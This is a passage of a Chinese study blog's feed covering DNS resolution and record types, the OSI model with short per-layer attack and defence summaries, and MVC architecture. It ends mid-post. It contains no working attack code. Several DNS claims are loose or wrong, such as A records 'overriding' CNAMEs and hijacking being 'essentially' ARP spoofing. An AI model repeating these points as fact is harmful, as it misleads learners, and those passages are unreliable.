      <![CDATA[<h1 id="dns"><a class="markdownIt-Anchor" href="#dns"></a> DNS</h1><p>DNS（Domain Name System）是域名解析系统，的作用非常简单，就是根据域名查出对应的 IP地址</p><p>你可以把它想象成一本巨大的电话本，比如当你要访问域名<code>www.goole.com</code>，，首先要通过DNS查出它的IP地址是<code>217.160.0.201</code></p><h2 id="域名"><a class="markdownIt-Anchor" href="#域名"></a> 域名</h2><h3 id="域名的形式"><a class="markdownIt-Anchor" href="#域名的形式"></a> 域名的形式</h3><p>域名可以划分为各个子域，子域还可以继续划分为子域的子域，这样就形成了顶级域、二级域、三级域等</p><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250904110248340.png" alt="" /></p><p>其中顶级域名分为：国家顶级域名、通用顶级域名、反向域名</p><table><thead><tr><th>国家顶级域名</th><th>中国:cn， 美国:us，英国uk…</th></tr></thead><tbody><tr><td>通用顶级域名</td><td>com公司企业，edu教育机构，gov政府部门，int国际组织，mil军事部门 ，net网络，org非盈利组织…</td></tr><tr><td>反向域名</td><td>arpa，用于PTR查询（IP地址转换为域名）</td></tr></tbody></table><h3 id="域名的层次"><a class="markdownIt-Anchor" href="#域名的层次"></a> 域名的层次</h3><ul><li>根域名 ：<code>.root</code> 或者 <code>.</code> ，根域名通常是省略的</li><li>顶级域名，如 <code>.com</code>，<code>.cn</code> 等</li><li>次级域名，如 <code>baidu.com</code> 里的 <code>baidu</code>，这个是用户可以进行注册购买的</li><li>主机域名，比如 <code>baike.baidu.com</code> 里的<code>baike</code>，这个是用户可分配的</li></ul><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250904111621394.png" alt="" /></p><h3 id="域名服务器"><a class="markdownIt-Anchor" href="#域名服务器"></a> 域名服务器</h3><p>域名需要由遍及全世界的域名服务器去解析，域名服务器实际上就是装有域名系统的主机</p><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250904111917368.png" alt="img" /></p><ol><li><strong>根域名服务器</strong>（<code>Root name server</code>）：根域名服务器是<mark>最高层次的域名服务器</mark>。所有的根域名服务器都知道所有的顶级域名服务器的域名和IP地址。<mark>本地域名服务器解析不了的域名就会向其求助</mark></li><li><strong>顶级域名服务器</strong>（<code>Top Level Domain Server</code>）：这些域名服务器<mark>负责管理在该顶级域名服务器注册的所有二级域名</mark>。当收到DNS查询请求时，就给出相应的回答（可能是最后的结果，也可能是下一步应当找的域名服务器的IP地址）</li><li><strong>权限域名服务器</strong>（<code>Authoritative name server</code>）：一个服务器所负责管辖的（或有权限的）范围叫做区（zone）。各单位根据具体情况来划分自己管辖范围的区。但在一个区中的所有节点必须是能够连通的。每一个区设置相应的<strong>权限域名服务器</strong>，用来保存该区中的所有主机的域名到IP地址的映射。当一个权限域名服务器还不能给出最后的査询回答时，就会告诉发出查询请求的DNS客户，下一步应当找哪一个权限域名服务器。总的来说其就是<mark>负责一个区的域名解析工作</mark>。例如在图6-2（b）中，区<code>abc.com</code>和区<code>y.abc.com</code>各设有一个权限域名服务器<img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250904113041207.png" alt="" /></li><li><strong>本地域名服务器</strong>（<code>Local name server</code>）：<mark>当一台主机发出DNS查询请求时，这个查询请求报文就发送给本地域名服务器</mark>，首先在此服务器中进行ip解析。每一个互联网服务提供者ISP，或一个大学，甚至一个大学里的系，都可以拥有一个本地域名服务器。</li></ol><h2 id="dns资源记录"><a class="markdownIt-Anchor" href="#dns资源记录"></a> DNS资源记录</h2><p>在 DNS 服务器上，一个域名及其下级域名组成一个区域 （Zone）。一个 Zone的 相关的 DNS 信息构成一个数据库文件</p><p>下面是一条A类型的资源记录（简称为A记录）：域名 <code>www.zdns.cn</code> 的数据为 <code>202.173.11.10</code></p><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250904155846517.png" alt="在这里插入图片描述" /></p><p>记录一条域名信息映射关系，称之为资源记录（RR）。当我们查询域名<code>www.zdns.cn</code>的时候，查询结果得到的资源记录结构体中有如下数据：</p><ul><li><p>TTL，就是生存周期，是递归服务器会在缓存中保存该资源记录的时长</p></li><li><p>网络/协议类型，它的代表的标识是IN，IN就是internet，目前DNS系统主要支持的协议是IN</p></li><li><p>type，就是资源记录类型，一般的网站都是都是A记录（IPv4的主机地址）</p></li><li><p>rdata是资源记录数据，就是域名关联的信息数据</p></li></ul><h3 id="常见的资源记录类型"><a class="markdownIt-Anchor" href="#常见的资源记录类型"></a> 常见的资源记录类型</h3><table><thead><tr><th><strong>类型</strong></th><th><strong>编码</strong></th><th><strong>内容</strong></th></tr></thead><tbody><tr><td>A</td><td>1</td><td><mark>将 DNS 域名映射到 IPv4 地址</mark>，基本作用是说明一个域名对应了哪些 IPv4 地址</td></tr><tr><td>NS</td><td>2</td><td>权威名称服务器记录，用于说明这个区域有哪些 DNS 服务器负责解析</td></tr><tr><td>CNAME</td><td>5</td><td>别名记录，<mark>主机别名对应的规范名称</mark></td></tr><tr><td>SOA</td><td>6</td><td>起始授权机构记录，NS 记录说明了有多台服务器在进行解析，但哪一个才是主服务器，NS 并没有说明，SOA 记录了说明在众多 NS 记录里哪一台才是主要的服务器</td></tr><tr><td>PTR</td><td>12</td><td>IP 地址反向解析，是 <mark>A 记录的逆向记录</mark>，作用是把 IP 地址解析为域名</td></tr><tr><td>MX</td><td>15</td><td>邮件交换记录，指定负责接收和发送到域中的电子邮件的主机</td></tr><tr><td>TXT</td><td>16</td><td>文本资源记录，用来为某个主机名或域名设置的说明</td></tr><tr><td>AAAA</td><td>28</td><td><mark>将 DNS 域名映射到 IPv6 地址</mark>，基本作用是说明一个域名对应了哪些 IPv6 地址</td></tr></tbody></table><p>几点注意事项：</p><ol><li>CNAME的目标主机地址只能使用主机名，不能使用IP地址，其主机名前不能有任何其他前缀，如：<code>http://</code>等是不被允许的</li><li>A记录优先于CNAME记录。即如果一个主机地址同时存在A记录和CNAME记录，则CNAME记录不生效</li><li>NS记录优先于A记录，NS记录只对子域名生效</li></ol><h3 id="nslookup命令查ip"><a class="markdownIt-Anchor" href="#nslookup命令查ip"></a> nslookup命令查IP</h3><h4 id="nslookup-域名查ip"><a class="markdownIt-Anchor" href="#nslookup-域名查ip"></a> <code>nslookup 域名</code>查IP</h4><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nslookup www.baidu.com</span><br></pre></td></tr></table></figure><p>结果及说明：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">Server:         10.255.255.254 ---&gt;指定的dns服务器</span><br><span class="line">Address:        10.255.255.254#53 ------&gt;指定的dns服务器的IP和端口</span><br><span class="line"></span><br><span class="line">Non-authoritative answer: -----&gt;未验证的回答</span><br><span class="line">www.baidu.com   canonical name = www.a.shifen.com. -------&gt;目标域名的规范名称(正名/别名)记录</span><br><span class="line">Name:   www.a.shifen.com  -------&gt;目标域名</span><br><span class="line">Address: 36.152.44.132     -------&gt;目标返回的Ip</span><br><span class="line">Name:   www.a.shifen.com</span><br><span class="line">Address: 36.152.44.93</span><br><span class="line">Name:   www.a.shifen.com</span><br><span class="line">Address: 2409:8c20:6:1794:0:ff:b080:87f0</span><br><span class="line">Name:   www.a.shifen.com</span><br><span class="line">Address: 2409:8c20:6:123c:0:ff:b0f6:b2d</span><br></pre></td></tr></table></figure><p>没有指定DNS服务器，使用默认的本地DNS服务器，保存在 <code>/etc/resolv.conf</code> 配置文件中</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cat</span> /etc/resolv.conf</span><br></pre></td></tr></table></figure><h4 id="nslookup-域名-dns-server查ip"><a class="markdownIt-Anchor" href="#nslookup-域名-dns-server查ip"></a> <code>nslookup 域名 dns-server</code>查IP</h4><p>如通过电信DNS <code>114.114.114.114</code> 查询 <code>www.baidu.com</code> 的IP地址</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nslookup www.baidu.com 114.114.114.114</span><br></pre></td></tr></table></figure><blockquote><p><code>Non-authoritative answer</code>表示解析结果来自非权威服务器，也就是说这个结果来自缓存，并没有完全经历全部的解析过程，从某个缓存中读取的结果，这个结果存在一定的隐患，比如域名对应的IP地址已经更变</p></blockquote><h4 id="查询其他记录"><a class="markdownIt-Anchor" href="#查询其他记录"></a> 查询其他记录</h4><p>直接查询返回的是A记录，我们可以指定参数，查询其他记录，比如AAAA、MX等</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nslookup -qt=<span class="built_in">type</span> domain [dns-server]</span><br></pre></td></tr></table></figure><p>如：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nslookup -qt=mx baidu.com 8.8.8.8</span><br></pre></td></tr></table></figure><h2 id="dns解析过程"><a class="markdownIt-Anchor" href="#dns解析过程"></a> DNS解析过程</h2><p>三大步骤：<br />高速缓存查找IP，本机的hosts文件查找IP，DNS服务器查找IP</p><p>第一步：检查浏览器缓存中是否缓存过该域名对应的IP地址</p><p>第二步：如果在浏览器缓存中没有找到IP，那么找本机的hosts文件中是否存在IP配置</p><ul><li>在<code>Windows</code>系统中，<code>hosts</code>文件位置在<code>C:\Windows\System32\drivers\etc\hosts</code>。</li><li>在<code>Linux</code>或者<code>Mac</code>系统中，<code>hosts</code>文件在<code>/etc/hosts</code> 文件中。</li></ul><blockquote><p>但是这种操作系统级别的域名解析规程也被很多黑客利用，通过修改你的hosts文件里的内容把特定的域名解析到他指定的ip地址上，造成所谓的域名劫持。所以在windows7中将hosts文件设置成了readonly，防止被恶意篡改。</p></blockquote><p>第三步：如果在本地无法完成域名的解析，就向本地域名解析服务系统发起域名解析的请求</p><p>本地域名系统<code>LDNS</code>一般都是本地区的域名服务器，对于本地<code>DNS</code>服务器地址，<code>Windows</code>系统使用命令<code>ipconfig</code>就可以查看，在<code>Linux</code>和<code>Mac</code>系统下，直接使用命令<code>cat /etc/resolv.conf</code>来查看<code>LDNS</code>服务地址</p><p><code>LDNS</code>总体过程总结起来就是三句话</p><ol><li>从&quot;根域名服务器&quot;查到&quot;一级域名服务器&quot;的NS记录和A记录（IP地址）</li><li>从&quot;一级域名服务器&quot;查到&quot;二级域名服务器&quot;的NS记录和A记录（IP地址）</li><li>从&quot;二级域名服务器&quot;查出&quot;主机名&quot;的IP地址</li></ol><h2 id="dns查询"><a class="markdownIt-Anchor" href="#dns查询"></a> DNS查询</h2><h3 id="递归查询"><a class="markdownIt-Anchor" href="#递归查询"></a> 递归查询</h3><p>主机向本地域名服务器的查询一般都是采用递归查询（recursive query）</p><p>递归查询：如果主机所询问的本地域名服务器不知道被查询域名的IP地址，那么本地域名服务器就<mark>以DNS客户的身份</mark>，向其他根域名服务器继续发出查询请求报文（即<mark>替该主机继续查询</mark>），而不是让该主机自己进行下一步的查询。因此，递归查询返回的查询结果或者是所要查询的IP地址，或者是报错，表示无法查询到所需的IP地址</p><h3 id="迭代查询"><a class="markdownIt-Anchor" href="#迭代查询"></a> 迭代查询</h3><p>本地域名服务器向根域名服务器的查询通常是采用迭代查询（Iterative query）</p><p>迭代查询：当根域名服务器收到本地域名服务器发出的迭代查询请求报文时要么给出所要查询的IP地址，要么告诉本地域名服务器：“你下一步应当向哪一个域名服务器进行查询”</p><p>然后让<mark>本地域名服务器进行后续的查询</mark>（而不是替本地域名服务器进行后续的查询）。根域名服务器通常是把自己知道的顶级域名服务器的IP地址告诉本地域名服务器，让本地域名服务器再向顶级域名服务器查询。</p><p>顶级域名服务器在收到本地域名服务器的查询请求后，要么给出所要查询的IP地址，要么告诉本地域名服务器下一步应当向哪一个权限域名服务器进行查询，本地域名服务器就这样进行迭代查询。</p><p>最后，知道了所要解析的域名的IP地址，然后把这个结果返回给发起查询的主机。当然，本地域名服务器也可以采用递归查询，这取决于最初的查询请求报文的设置是要求使用哪一种查询方式。</p><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250905112530930.jpg" alt="" /></p><p>由于递归查询对于被查询的域名服务器负担太大，通常采用以下模式：从请求主机到本地域名服务器的查询是递归查询，而其余的查询是迭代查询</p><h2 id="dns劫持"><a class="markdownIt-Anchor" href="#dns劫持"></a> DNS劫持</h2><h3 id="原理"><a class="markdownIt-Anchor" href="#原理"></a> 原理</h3><p>本质上是利用了 ARP 欺骗原理。恶意攻击者通过 ARP 欺骗伪装成缓存服务器，将客户端的 DNS 请求返回指定的IP地址。</p><p>假设用户想要访问一个名为 <code>www.baidu.com</code> 的网站。当用户在浏览器中输入网址并按下回车时，操作系统会向 DNS 服务器发送一个 DNS 查询请求，以获取该网站的 IP 地址。</p><p>正常情况下，DNS服务器会返回与 <code>www.baidu.com</code> 对应的正确 IP 地址，然后用户的浏览器会使用该 IP 地址来建立连接并加载网站内容。</p><p>但是，在 DNS 劫持的情况下，恶意攻击者可能会干扰 DNS 查询过程。攻击者可能会修改 DNS 服务器的配置或在网络中插入恶意设备，以便在用户发出 DNS 查询请求时返回错误的 IP 地址。</p><p>例如，假设攻击者将 <code>www.baidu.com</code> 的 DNS 记录篡改为指向恶意网站的 IP 地址。当用户尝试访问 <code>www.baidu.com</code>时，DNS 服务器返回的 IP 地址实际上是恶意网站的 IP 地址，而不是真正的<code>www.example.com</code>网站的 IP 地址。</p><p>因此，用户的浏览器会被重定向到恶意网站，可能会导致用户受到钓鱼攻击或下载恶意软件。</p><blockquote><p>参考：</p><p><a href="https://blog.csdn.net/logic1001/article/details/144674044">非常详细的DNS图解，绝对秒懂 | 写得超级详细</a></p><p><a href="https://www.cnblogs.com/code-duck/p/13234999.html">DNS域名解析过程</a></p><p><a href="https://zhuanlan.zhihu.com/p/471712872">8 张图带你彻底搞懂 DNS 域名解析过程</a></p></blockquote>]]>
    </content>
    <id>https://hackun.top/2025/09/10/DNS/</id>
    <link href="https://hackun.top/2025/09/10/DNS/"/>
    <published>2025-09-10T07:46:31.433Z</published>
    <summary>
      <![CDATA[<h1 id="dns"><a class="markdownIt-Anchor" href="#dns"></a> DNS</h1>
<p>DNS（Domain Name System）是域名解析系统，的作用非常简单，就是根据域名查出对应的 IP地址</p>
<p>你可以把它想]]>
    </summary>
    <title>DNS</title>
    <updated>2025-09-10T07:44:54.204Z</updated>
  </entry>
  <entry>
    <author>
      <name>Hackun</name>
    </author>
    <category term="渗透测试" scheme="https://hackun.top/categories/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/"/>
    <category term="网络基础" scheme="https://hackun.top/categories/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/%E7%BD%91%E7%BB%9C%E5%9F%BA%E7%A1%80/"/>
    <category term="渗透测试" scheme="https://hackun.top/tags/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/"/>
    <category term="网络基础" scheme="https://hackun.top/tags/%E7%BD%91%E7%BB%9C%E5%9F%BA%E7%A1%80/"/>
    <content>
      <![CDATA[<h1 id="osi七层模型"><a class="markdownIt-Anchor" href="#osi七层模型"></a> OSI七层模型</h1><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250901162736952.png" alt="" /></p><p>数据发送时，先从应用层发送数据传到物理层，再由物理层接收数据传到应用层</p><h2 id="物理层"><a class="markdownIt-Anchor" href="#物理层"></a> 物理层</h2><p>处在最底层（硬件），实际上就是布线、光纤、网卡和其它用来把两台网络通信设备连接在一起的东西，只负责线路两端的通信维护。可以理解成家里迁宽带，那就是物理层。比如办公室里面动不动断网，说不定是有人椅子弄到了宽带导致网络问题，这是属于物理层</p><p><mark>物理层的主要功能是利用物理传输介质为数据链路层提供物理连接，以便透明的传送比特流</mark></p><h2 id="数据链路层"><a class="markdownIt-Anchor" href="#数据链路层"></a> 数据链路层</h2><p>数据链路层的主要功能接收来自物理层的位流形式的数据，并<mark>封装成帧</mark>，传送到网络层；同样，也将来自网络层的数据帧，<mark>拆装为位流</mark>形式的数据转发到物理层；并且，还负责处理接收端发回的<mark>确认帧的信息</mark>，以便提供可靠的数据传输</p><p>意思就是做身份识别，确认要发送的目标，，在一条有可能出差错的物理连接上，进行几乎无差错的数据传输，也就是<mark>差错控制</mark>（用纠错码和检测码）</p><p>攻击：</p><p>常见的是对基于mac地址的伪装欺骗，在数据链路层有两个重要的协议ARP（地址解析协议）和RARP协议（反向地址解析协议），常见的攻击方式就是ARP欺骗（ARP伪装），其攻击原理为攻击者利用自己伪造的mac地址来告诉被攻击者自己是对方想要访问的身份，显而易见这个身份是攻击者自己伪造的，从而欺骗被攻击者将数据流量转发到自己伪造的身份地址上，进而获取数据，达到欺骗的目的</p><p>防御：</p><p>对于系统和通信网络中关键的设备进行ARP地址绑定，可以在Windows中输入arp-s gate-way-ip gate-way-mac固化ARP表，也可以通过安装ARP防护软件对ARP信息进行防护</p><h2 id="网络层"><a class="markdownIt-Anchor" href="#网络层"></a> 网络层</h2><p>在计算机网络中进行通信的两个计算机之间可能会经过很多个数据链路，也可能还要经过很多通信子网。网络层的任务就是<mark>选择合适的网间路由和交换结点， 确保数据及时传送</mark>。网络层<mark>将数据链路层提供的帧组成数据包</mark>，包中封装有网络层包头，其中含有逻辑地址信息（源站点和目的站点地址的网络地址）</p><blockquote><p>这三层主要任务是数据通信</p><p>第三层<mark>网络层负责 IP地址</mark>，第二层<mark>数据链路层则负责 MAC地址</mark>，因此一个主机会有一个MAC地址，而每个网络位置会有一个专属于它的IP地址</p><h5 id="ip地址internet-protocol-address"><a class="markdownIt-Anchor" href="#ip地址internet-protocol-address"></a> IP地址（Internet Protocol Address）</h5><p>用于标识网络中的设备，分为IPv4（如 <code>192.168.1.1</code>）和IPv6（如 <code>2001:0db8:85a3::8a2e:0370:7334</code>）</p><h5 id="mac地址media-access-control-address"><a class="markdownIt-Anchor" href="#mac地址media-access-control-address"></a> MAC地址（Media Access Control Address）</h5><p>用于标识网络接口卡（NIC），是一个唯一的硬件地址，格式为 <code>00:1A:2B:3C:4D:5E</code></p><blockquote><p>IP地址相当于家庭住址（可变）</p><p>MAC地址相当于身份证号码（固定）</p></blockquote></blockquote><p>攻击：</p><p>Smurf攻击（通过将回复地址设置为受害网络的广播地址，使用数据包淹没目标主机）、ICMP路由欺骗攻击、IP分片攻击、ping of death（死亡之ping）、IP欺骗伪造攻击，其通性都是通过制造大量的无用数据包，对目标服务器或者主机发动攻击，使得目标对外拒绝服务，可以理解为DDOS或者是类DDOS攻击</p><p>防御：</p><p>可以通过扩大带宽并部署DDOS防御系统来防御拒绝攻击，对于攻击发生过的IP和确认安全的IP，可以通过设置防火墙上IP白名单和黑名单对通信主机的地址进行限制、绑定，防止欺骗行为的发生</p><h2 id="传输层"><a class="markdownIt-Anchor" href="#传输层"></a> 传输层</h2><p>传输层主要任务是<mark>向用户提供可靠的端到端的差错和流量控制，保证报文的正确传输</mark></p><p>传输层等同于一个中间人，互相传话，判断数据（传递内容）是否正确，正确的话发送到网络层</p><p><strong>攻击：</strong></p><p><strong>主要是利用TCP/UDP协议进行攻击，而利用TCP协议攻击主要是利用TCP协议的三次握手机制，向目标主机或者服务器发送大量连接请求但是不对其进行响应，使得占用大量目标服务器主机资源，造成瘫痪的攻击方式，常见的攻击方式由Flooding洪泛攻击、ACK flooding洪范攻击等，而利用UDP的攻击主要是利用流量攻击，使用UDP的不可靠性，大量发送数据包，造成目标拒绝服务的目的，常见的攻击方式有UDP flooding洪泛攻击</strong></p><p><strong>防御：</strong></p><p><strong>可以通过部署抗DDOS防御系统进行防护，并扩大带宽，对数据包进行筛选、防护</strong></p><h2 id="会话层"><a class="markdownIt-Anchor" href="#会话层"></a> 会话层</h2><p>会话层的任务就是组织和协调两个会话进程之间的通信（<mark>建立通信连接</mark>），并对数据交换进行管理</p><p>它提供包括访问验证和会话管理在内的建立和维护应用之间通信的机制。如服务器验证用户登录便是由会话层完成的</p><p><strong>攻击：</strong></p><p><strong>利用或者窃取合法用户的cookie和session，然后冒用或者利用合法用户的身份，以达到非法授权访问的目的，其主要攻击目标为攻击cookie和token，常见的攻击方式有XSS（跨站脚本攻击）和CSRF（跨站请求伪造）</strong></p><p><strong>防御：</strong></p><p><strong>针对会话层的攻击防范，主要是针对用户登录的cookie信息进行利用或盗取。为减少并防止该类攻击事件的发生。首先是应当在用户登录时，可采用双因子的认证方式，确认用户信息，并在cookice设置中启动httponle属性，并在代码层面添加随机产生的token认证，认证用户数据包信息，防止用户身份认证信息被窃取并盗用</strong></p><h2 id="表示层"><a class="markdownIt-Anchor" href="#表示层"></a> 表示层</h2><p>表示层<mark>对上层数据或信息进行变换</mark>以保证一个主机应用层信息可以被另一个主机的应用程序理解。表示层的数据转换包括数据的加密、压缩、格式转换等</p><p>比如说我们进行渗透测试的时候，有时候需要编码。提取出来的时候再解码。那是因为防止计算机识别错误，导致内容不完整或者丢失。这时候就可以进行编码</p><p><strong>攻击：</strong></p><p><strong>主要是针对格式翻译和数据处理来进行的，攻击方式有Unicode攻击和计算溢出攻击</strong></p><p><strong>防御：</strong></p><p><strong>系统设计层面，应考虑拥有足够充足的缓冲区，保证数据不会溢出被修改、覆盖。严格而控制服务器上文件和文件夹的权限，对登录用户和后台管理人员的权限进行合理的分配，防止服务器文件和文件夹被非法利用</strong></p><h2 id="应用层"><a class="markdownIt-Anchor" href="#应用层"></a> 应用层</h2><p>应用程序能够从网络上请求使用哪种类型的服务，并且<mark>规定</mark>了在从应用程序接收消息或向应用程序发送消息时，<mark>数据所必须采用的格式</mark>，也就是可以请求一些什么协议，例如http协议</p><p><strong>攻击：</strong></p><p><strong>主要是针对应用程序的设计漏洞进行的对应用协议漏洞的攻击、对应用数据的攻击、对应用操作系统平台的攻击等。其方法包括未经审查的WEB方式的信息录入、应用权限的访问控制被攻破、身份认证和会话管理被攻破、跨站点的执行代码漏洞、缓存溢出漏洞、弹出漏洞、错误处理不当、不安全存储、拒绝服务、不安全配置管理等</strong></p><p><strong>防御：</strong></p><p><strong>针对服务器的访问控制权限进行严格划分分配，防止管理员权限过大，可以采用基于角色的访问控制策略，保证用户的最小特权化。对服务器系统及时修补补丁，保证信息系统的一个安全状态，并对系统内用户行为和安全事件进行审计记录</strong></p><blockquote><p>参考：</p><p><a href="https://blog.csdn.net/m0_46304840/article/details/104329230">在渗透测试工程师眼里的 OSI 七层模型（简单理解）</a></p><p><a href="https://segmentfault.com/a/1190000044791142">OSI七层网络攻击行为及防范手段</a></p></blockquote>]]>
    </content>
    <id>https://hackun.top/2025/09/10/OSI%E4%B8%83%E5%B1%82%E6%A8%A1%E5%9E%8B/</id>
    <link href="https://hackun.top/2025/09/10/OSI%E4%B8%83%E5%B1%82%E6%A8%A1%E5%9E%8B/"/>
    <published>2025-09-10T07:46:31.431Z</published>
    <summary>
      <![CDATA[<h1 id="osi七层模型"><a class="markdownIt-Anchor" href="#osi七层模型"></a> OSI七层模型</h1>
<p><img src="https://raw.githubusercontent.com/zkk1233/Pictu]]>
    </summary>
    <title>OSI七层模型</title>
    <updated>2025-09-10T07:39:37.968Z</updated>
  </entry>
  <entry>
    <author>
      <name>Hackun</name>
    </author>
    <category term="软件架构" scheme="https://hackun.top/categories/%E8%BD%AF%E4%BB%B6%E6%9E%B6%E6%9E%84/"/>
    <category term="代码审计" scheme="https://hackun.top/categories/%E8%BD%AF%E4%BB%B6%E6%9E%B6%E6%9E%84/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/"/>
    <category term="软件架构" scheme="https://hackun.top/tags/%E8%BD%AF%E4%BB%B6%E6%9E%B6%E6%9E%84/"/>
    <category term="代码审计" scheme="https://hackun.top/tags/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/"/>
    <content>
      <![CDATA[<h1 id="mvc架构"><a class="markdownIt-Anchor" href="#mvc架构"></a> MVC架构</h1><h2 id="定义"><a class="markdownIt-Anchor" href="#定义"></a> 定义</h2><p>MVC是一种<strong>软件架构模式</strong>，常用于图形化界面和 Web 应用的设计，全称是：</p><ul><li>M：Model(模型)</li><li>V：View(视图)</li><li>C：Controller(控制器)</li></ul><p>它的核心思想就是：MVC通过<strong>职责分离</strong>和<strong>分层控制</strong>，<strong>把数据、显示、逻辑分开</strong>，让代码更清晰、好维护，是现代Web开发（如Spring MVC、<a href="http://ASP.NET">ASP.NET</a> MVC）的基石</p><h2 id="组成部分"><a class="markdownIt-Anchor" href="#组成部分"></a> 组成部分</h2><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250830182416374.jpeg" alt="MVC架构图" /></p><h3 id="model"><a class="markdownIt-Anchor" href="#model"></a> Model</h3><p>负责存储、处理、管理数据（如数据库里的表、业务逻辑里的计算、数据库增删改查等等）</p><p>它不管怎么显示，只管数据正确不正确</p><p>包含内容：</p><ul><li><strong>POJO/Bean/Domain</strong>：数据实体类，描述业务对象</li><li><strong>Service</strong>：实现核心业务逻辑（如用户注册、订单处理）</li><li><strong>Dao（Data Access Object数据库访问对象）</strong>：负责数据持久化操作（如数据库增删改查）</li></ul><h3 id="view"><a class="markdownIt-Anchor" href="#view"></a> View</h3><p>专门负责显示给用户看的内容（如网页界面、APP 界面、桌面程序的窗口）</p><p>它只关心怎么展示，而不关心数据是怎么来的</p><h3 id="controller"><a class="markdownIt-Anchor" href="#controller"></a> Controller</h3><p>负责接收用户输入和请求（如点按钮、提交表单），然后告诉 Model 去处理数据，再把结果交给 View 来展示</p><blockquote><p>举个用户注册的栗子：</p><ol><li><p>用户请求：通过View（如HTML表单）提交注册信息</p></li><li><p>Controller接收：解析请求参数，调用Model层的UserService处理注册逻辑</p></li><li><p>Model处理：</p><p>UserService校验数据，调用UserDao将数据存入数据库</p><p>返回处理结果（成功/失败）给Controller</p></li><li><p>Controller响应：根据结果选择View（如跳转到成功页或错误页）</p></li><li><p>View渲染：展示最终页面给用户</p></li></ol></blockquote><h2 id="mvc架构和三层架构的关系"><a class="markdownIt-Anchor" href="#mvc架构和三层架构的关系"></a> MVC架构和三层架构的关系</h2><h3 id="三层架构"><a class="markdownIt-Anchor" href="#三层架构"></a> 三层架构</h3><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250830182539027.jpeg" alt="三层架构图" /></p><p>三层架构作为一种分层架构模式，它将整个应用划分为三个清晰的层次</p><ul><li><strong>表现层（Presentation Layer）</strong>：直接与用户进行交互，例如各类 UI 界面（用户和软件/设备之间交互的界面）</li><li><strong>业务逻辑层（Business Logic Layer）</strong>：专注于处理核心业务规则</li><li><strong>数据访问层（Data Access Layer）</strong>：负责与数据库或外部数据源进行交互</li></ul><h3 id="主要区别"><a class="markdownIt-Anchor" href="#主要区别"></a> 主要区别</h3><table><thead><tr><th>对比维度</th><th>MVC 架构模式</th><th>三层架构</th></tr></thead><tbody><tr><td>设计目标</td><td>对用户界面的交互逻辑进行解耦</td><td>实现整个系统的分层解耦</td></tr><tr><td>适用范围</td><td>主要适用于用户界面相关场景</td><td>适用于整个应用程序</td></tr><tr><td>层次划分</td><td>包含 Model、View、Controller 三个角色</td><td>有表现层、业务逻辑层、数据访问层三个物理层</td></tr><tr><td>典型应用场景</td><td>常用于 Web 框架（如 Spring MVC、<a href="http://ASP.NET">ASP.NET</a> MVC）</td><td>适用于企业级应用的整体架构设计</td></tr></tbody></table><h3 id="联系互补"><a class="markdownIt-Anchor" href="#联系互补"></a> 联系互补</h3><ul><li><strong>MVC 可作为三层架构表现层的实现方式</strong>：在三层架构的表现层中，可以运用 MVC 模式来进一步分解 UI 逻辑。例如，Controller 负责处理请求，View 负责渲染页面，而 Model 则对应业务逻辑层的接口。</li><li><strong>三层架构的业务逻辑层和数据访问层可与 MVC 协同工作</strong>：MVC 中的 Model 并非必须完全独立，它可以调用三层架构中业务逻辑层的服务，而业务逻辑层又能调用数据访问层来获取数据。</li><li><strong>共同达成高内聚、低耦合的目标</strong>：两者都借助分层或角色分离的方式，提升了代码的可维护性和可扩展性。</li></ul><h3 id="实际应用"><a class="markdownIt-Anchor" href="#实际应用"></a> 实际应用</h3><p>在一个典型的web应用里：</p><ul><li><strong>表现层</strong>：采用 MVC 模式，其中 Controller 接收请求，View 负责渲染 HTML 页面，Model 调用业务逻辑层的接口。可以说<mark>我们学习的MVC模式对应的是三层架构的表现层</mark></li><li><strong>业务逻辑层</strong>：独立存在，处理诸如订单计算、权限验证等核心业务。</li><li><strong>数据访问层</strong>：负责与数据库交互，执行数据的增删改查操作。</li></ul><h2 id="面试高频问题"><a class="markdownIt-Anchor" href="#面试高频问题"></a> 面试高频问题</h2><p>Q1：MVC 和三层架构的区别是什么？</p><p>A：MVC 是一种设计模式，强调的是 <strong>用户交互流程</strong>；而三层架构是从 <strong>系统架构角度</strong> 划分的层次结构，两者结合后形成完整的 Web 应用结构。</p><hr /><p>Q2：为什么要在项目中使用 MVC？</p><p>A：为了实现 <strong>前后端分离、逻辑清晰、易于维护、提高开发效率</strong>。各层分工明确，便于多人协作开发。</p><hr /><p>Q3：Servlet （Server Applet，Java写的服务端小程序，用来处理浏览器和服务器之间的通信）在 MVC 中属于哪一层？JSP （Java Server Pages，是运行在服务器端的动态网页技术）呢？</p><p>A：</p><ul><li><strong>Servlet 属于 Controller 层</strong>，用于接收请求和控制流程；</li><li><strong>JSP 属于 View 层</strong>，用于展示数据和页面渲染。</li></ul><hr /><p>Q4：如果不用 